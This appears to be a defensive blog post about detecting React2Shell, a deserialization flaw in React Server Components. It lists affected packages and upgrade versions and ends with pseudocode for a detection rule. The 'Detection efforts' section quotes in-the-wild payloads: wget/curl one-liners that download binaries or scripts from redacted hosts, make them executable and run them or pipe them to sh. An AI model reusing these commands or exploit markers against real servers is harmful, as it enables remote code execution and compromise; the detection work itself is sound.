React2Shell Detection Efforts - Part 1
Publicly known as React2Shell, CVE-2025-66478/CVE-2025-55182 is a critical flaw affecting React Server Components and commonly paired frameworks/bundlers.
R2S is present in the versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0 of the following react server libraries
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
and the following frameworks and bundlers
next
react-router
waku
@parcel/rsc
@vitejs/plugin-rsc
rwsdk
If your application does not use any of the affected packages or you app does not uses a framework, bundler or a bundler plugin that leverages React Server Components, no further action is required. If you do, upgrade your libraries to 19.01, 19.1.2, and 19.2.1 as soon as possible.
Exploit summary
R2S abuses a "flaw" found in React Server Component architecture, and their communication serialization protocol, commonly refereed as "React Flight Protocol". In short, this protocol streams serialized HTML data structures in form of multiple payloads whenever it's needed and/or required by the client. A client-to-server form of communication.
In this particular scenario, this exploit occurs when the server receives a payload containing certain prefixes, affecting how the server deserializes the data, thus, allowing the execution of malicious code via the bob handler, since there was no validation process placed during payload chunk reference (This "reference" happens when the server tries to tie together the chunks of any RSC payload with actual react components living in your server).
This exploit can be accomplished via simple HTTP request.
Recommended by LinkedIn
Detection efforts
Stopping this exploit from happening pretty much depends on dev teams applying the official React team updates onto their apps
Most of the tracked events in the wild target port 3000. This particular port is the default port where React/Next.js run their app servers, a common choice in the Node.js ecosystem.
Payloads targeting the react apps follow a pattern, ex:
wget <http://xxx.xxx.xx.xxx/c> -O-|sh
wget -O x86 <http://xx.xx.xx.xxx/nuts/x86||curl> -s -o x86 <http://xx.xx.xxx.xxx/nuts/x86> );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q <http://xx.xxx.xx.xx/nuts/bolts> -O-||wget -q <http://xxx.xx.xxx.xxx/nuts/bolts> -O-||curl -s <http://xx.xx.xxx.xx/nuts/bolts>)|sh)&
wget <http://xxx.xx.xx.xxx/update.sh>; curl -O <http://xxx.xxx.xxx.xxx/update.sh>; chmod 777 *; ./update.sh;
wget <http://xxx.xxx.xxx.xxx/update.sh>; chmod 777 update.sh; ./update.sh;
Given that this is an ongoing threat, we could just alert on any payload that contains either code or encoded information, which, at this point, should not be something anyone wants their server containing a react app to receive.
Something like the following
/// Pseudocode
ANY INCOMING TRAFFIC
WHERE METHOD POST AND PORT 3000 //Or the port that works as entry point for your react app
WHERE PAYLOAD CONTAINS (Encoded commands OR SHELL commands)
OR FORMDATA CONTAINS "constructor"
OR PAYLOAD ENTITIES CONTAINS "$@0" // Self reference, needed for the exploit
Although this is a solid start, this method is still prone to noise, and needs to be further refined.
Something I'm currently working on.
Further readings